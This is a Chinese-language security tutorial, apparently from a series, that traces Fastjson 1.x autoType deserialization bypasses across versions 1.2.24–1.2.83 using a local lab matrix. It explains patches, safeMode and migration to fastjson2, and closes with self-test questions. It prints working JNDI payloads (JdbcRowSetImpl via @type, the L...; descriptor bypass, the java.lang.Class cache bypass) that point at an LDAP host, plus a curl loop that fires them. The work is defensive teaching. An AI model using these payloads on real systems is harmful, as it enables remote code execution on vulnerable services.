这一篇是本系列的核心:从"默认能打"到"越来越难打",每一个补丁改了什么、攻击者怎么绕、为什么最终必须放弃 1.x 的 autoType 模型。所有结论都对应配套靶场的实测矩阵(
lab/fastjson-lab/verify-output.txt)
引子:一场持续七年、教科书级的"打补丁—绕过"战争
Fastjson 的反序列化问题从 2017 年延续到 2022 年,版本号从 1.2.24 一路补到 1.2.83。它不是"一个 CVE + 一个补丁",而是一长串 CVE 和无数次绕过:每修一个,安全研究者就找到一个新写法;官方黑名单越长,绕过的套路越多。这段历史是理解"为什么安全不能依赖黑名单"的最好教材。
几个关键节点足以看出这场拉锯的节奏:
1.2.24:autoType 默认开启,
@type直接打,无需技巧;1.2.25:引入
checkAutoType和黑名单,autoType 默认关闭——第一次"防守";1.2.41 / 1.2.42:
L...;类描述符绕过与修复;1.2.47:出现只靠 fastjson 自身、不依赖外部库的通用缓存绕过,影响极广;
1.2.68:官方加入
safeMode,并引入ExpectClass;1.2.80:官方公告承认"特定依赖存在下"仍可绕过(对应 CVE-2022-25845);
1.2.83:修复该绕过,同时官方给出"升 1.2.83 / 开 safeMode / 迁 fastjson2"三条路。
本篇不满足于贴版本号,而是用配套靶场的实测矩阵,把"哪个版本、哪种写法能打"一条条验证出来,再讲清每次补丁改了什么、绕过为什么成立。看懂之后就会明白:"已升到 1.2.80"并不等于安全,因为绕过取决于依赖树里有什么 gadget。
本篇要点:
L...;绕过为什么能生效?它在利用哪个环节的不一致?1.2.47 的缓存绕过 payload 里,
java.lang.Class到底干了什么?为什么 1.2.62 之后"通用 payload"集体失效,但系统仍可能不安全?
官方说的"特定依赖存在下"是什么意思?对防守判断有何影响?
safeMode 为什么"没有绕过"?
一、先把靶场矩阵摆出来(实测)
在靶场对每个版本发送同一批 payload(JNDI 目标指向靶场内置恶意 LDAP/HTTP 服务),判定"是否产生 JNDI 回调并执行"。(matrix.py只是把"逐版本重启 + 发送 + 统计回调"自动化;不依赖脚本时,按下面的循环手动做即可。)
cd /opt/fastjson-lab for v in 1.2.24 1.2.25 1.2.41 1.2.42 1.2.43 1.2.47 1.2.62 1.2.68 1.2.80 1.2.83; do pkill -f 'com.lab.fastjson.FastjsonLab'; sleep 1 /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ -cp "target/fastjson-lab.jar:lib/fastjson-$v.jar" \ com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 & # 换 classpath 里的版本 sleep 2 : > /opt/jndi-server/callbacks.log # 清空回调 curl -s -G "http://127.0.0.1:8080/parse" --data-urlencode \ 'data={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}' >/dev/null echo "$v 回调=$(wc -l < /opt/jndi-server/callbacks.log)" # 回调>0 即触发 done实测结果如下(行=payload,列=fastjson 版本;RCE表示产生 JNDI 回调并执行):
| payload | 1.2.24 | 1.2.25 | 1.2.41 | 1.2.42 | 1.2.43 | 1.2.47 | 1.2.62 | 1.2.68 | 1.2.80 | 1.2.83 |
|---|---|---|---|---|---|---|---|---|---|---|
direct(直接写危险类名) | RCE | blocked | blocked | blocked | blocked | blocked | blocked | blocked | blocked | blocked |
L-prefix(L...;描述符) | RCE | RCE | RCE | blocked | blocked | blocked | blocked | blocked | blocked | blocked |
cache-Class(java.lang.Class缓存) | RCE | RCE | RCE | RCE | RCE | RCE | blocked | blocked | blocked | blocked |
expectClass | RCE | blocked | RCE | RCE | RCE | RCE | blocked | blocked | blocked | blocked |
throwable | RCE | blocked | RCE | RCE | RCE | RCE | blocked | blocked | blocked | blocked |
autotype-direct(开 autoType) | RCE | blocked | RCE | RCE | RCE | RCE | blocked | blocked | blocked | blocked |
autotype-cache(开 autoType+缓存) | RCE | blocked | RCE | RCE | RCE | RCE | blocked | blocked | blocked | blocked |
读表要点:
1.2.24 全绿:autoType 默认开启,无需技巧;
1.2.25 首回合防守:
direct被挡,但L-prefix、cache-Class仍可绕;1.2.42 修掉
L-prefix,但cache-Class仍通;1.2.47 的
cache-Class是只靠 fastjson 自身、不依赖外部库的通用绕过;1.2.62 起通用 payload 全部失效
表中 payload 是"通用的、只需要 fastjson 本身"的写法。后面会说明:1.2.62 之后不是"绝对安全",而是绕过开始依赖项目里碰巧存在的第三方 gadget / 特定解析上下文,通用性大幅下降。
二、1.2.24 → 1.2.25:守门函数登场
1.2.24 及更早:autoType 默认开启,{"@type":"com.sun.rowset.JdbcRowSetImpl",...}直接打,无需任何技巧。
1.2.25 的修复:引入checkAutoType,内置一份黑名单,且 autoType 默认关闭。于是直接写危险类名会得到:
ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl
攻击者的应对:黑名单只比对"规范化后的类名",而规范化逻辑不够严。用类描述符写法L...;即可让黑名单比对失败、而实际加载时又被还原:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://...","autoCommit":true}靶场实测 1.2.25、1.2.41 上确实能打(L-prefix RCE)。这就是"军备竞赛"的典型回合:补丁修补的是类名比对,绕过换的是类名长相。
三、1.2.42:修掉L...;,但缓存漏洞已现
1.2.42 在checkAutoType里把L/;的规范化补齐(无论哪种路径都先剥壳),L-prefix随之失效(矩阵里 1.2.42 的L-prefix变为blocked)。
但 1.2.42~1.2.47 上,另一种写法仍然能打。这就是"缓存绕过",原理在上一篇讲过——检查顺序里"查缓存"在"查黑名单"之前。
缓存绕过 payload
{ "a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://...","autoCommit":true} }逐段解释:
解析
a时,@type是java.lang.Class——这个类本身是允许的(不是危险类)。Fastjson 用MiscCodec处理它,取val作为要加载的类名,并把这个类放入TypeUtils的缓存映射;于是
com.sun.rowset.JdbcRowSetImpl被登记进缓存;解析
b时,checkAutoType第一步"查缓存"就命中了,在黑名单检查之前直接放行;后续照旧触发 JNDI → RCE。
Java 说明:
MiscCodec:Fastjson 处理"特殊类型"的内置编解码器。遇到@type为java.lang.Class时,它会读取val字段,把其中的类名加载成Class。TypeUtils:Fastjson 的类型工具类,内部维护一张"类名 → Class"的映射缓存(mappings)。该绕过利用的正是"检查逻辑先查缓存、再查黑名单"的顺序缺陷:只要先用
java.lang.Class把危险类塞进缓存,后续检查就会放行。
因果总结:这个绕过不依赖任何外部 gadget,只需要 fastjson 一个Class类型属性 + 两个字段。所以在 1.2.47 上它被公认为"最通用的 autoType 绕过"。靶场里 1.2.47、1.2.42、1.2.41、1.2.25 的cache-Class均为RCE,验证了这一点。
为什么 1.2.62 之后不行了
1.2.62 / 1.2.68 对缓存路径也加了判断:不再是"在缓存里就无条件放行",危险类即便进了缓存,仍会被拦。矩阵里 1.2.62 起cache-Class变为blocked。
四、1.2.68:safeMode 与 ExpectClass
1.2.68 有两个重要变化:
引入 safeMode:一旦开启,无论黑白名单都不支持 autoType,等于彻底关掉这条攻击面。这是防守方目前最稳的"亡羊补牢"。
引入
ExpectClass(期望类型)机制:当解析上下文"已经知道期望的类型"时,如果@type指定的类是其子类/实现,可能被放行。
ExpectClass本身是为了兼容泛型/接口多态,但它带来了新的绕过思路:让解析上下文"期望"一个宽泛的接口(比如java.lang.AutoCloseable),再让@type指向实现了该接口的危险类。注意,这类绕过不是万能 payload,它要求业务代码恰好以"带期望类型"的方式解析(例如parseObject(json, SomeWrapper.class),而SomeWrapper的字段类型是某个接口)。
在本靶场的/parse(无期望类型)下无法复现ExpectClass绕过——矩阵里expectClass在 1.2.68 为blocked。这恰恰说明一个重要事实:
1.2.68 之后的绕过是"条件化"的,和业务代码的解析方式强相关,不再是一条 payload 通吃。
五、1.2.80 与 CVE-2022-25845:依赖型绕过
2022 年 5 月,Fastjson 官方发布安全公告(wiki:security_update_20220523),原文要点:
近日 Fastjson Develop Team 发现 fastjson 1.2.80 及以下存在新的风险……特定依赖存在下影响 ≤1.2.80建议升级 1.2.83;或开启 safeMode;或使用 fastjson v2。
关键词是"特定依赖存在下"。也就是说:
这个绕过需要一个项目里恰好存在的第三方 gadget 类(属于某个依赖库,且能触发危险行为)来配合;
它不是"只要用 fastjson 1.2.80 就能打";没有对应依赖就打不动;
因此在本靶场的最小依赖(fastjson + 少量 gadget 库)下,矩阵里 1.2.80 的通用 payload 全部
blocked。额外试过依赖型 gadget(如 xbean 的JndiConverter),在 1.2.68+ 默认配置下同样被拦。
这个事实对防守方的启示是:"已升到 1.2.80"并不等于安全,因为依赖树里有什么 gadget,攻击者比使用者更清楚。1.2.83 才修复了该次绕过,且官方明确建议迁移 fastjson2。
六、1.2.83 与"通用 payload 的终结"
1.2.83 的效果:矩阵里所有通用 payload 全部blocked。同时官方给出三条路:
升级到 1.2.83(有 autoType 行为变更,可能不兼容);
开启 safeMode(1.2.68+,完全关闭 autoType,最稳但可能影响业务);
迁移 fastjson v2(重写版本,不再为兼容保留白名单,安全模型不同)。
到这一步,1.x 的 autoType 模型已经"补丁叠补丁",官方也承认这套设计本身是负担。现代项目的正确答案不是"打补丁到最新 1.x",而是上 fastjson2 或换 Jackson 并关闭多态反序列化。
七、为什么"绕过注定条件化"
把整场军备竞赛抽象一下:
黑名单比对类名 -> 绕:换个类名长相(L...;) 黑名单 + 规范化 -> 绕:走缓存,让检查在命中黑名单前就放行 修缓存路径 -> 绕:换依赖库里的等价 gadget(项目恰好有这个依赖) 加 ExpectClass 限制 -> 绕:利用业务"带期望类型"的解析上下文 safeMode -> 没有绕过(因为直接不看黑白名单了)
规律:只要"类名可由输入决定"这个根还在,攻防就永远在追补丁;safeMode/fastjson2 是"拔掉根",所以没有绕过。这就是下一篇要讲的现代方向。
八、自测
L...;绕过能生效,是因为黑名单和实际加载用了不同的"类名规范化"——请解释这句话。缓存绕过为什么能跳过黑名单?它的 payload 里
java.lang.Class起了什么作用?为什么 1.2.68 之后的绕过"和业务解析方式强相关"?举一个
ExpectClass绕过的前提。官方公告说"特定依赖存在下影响 ≤1.2.80",这句话对防守方的判断意味着什么?
safeMode 为什么"没有绕过"?它和黑名单在原理上有什么根本区别?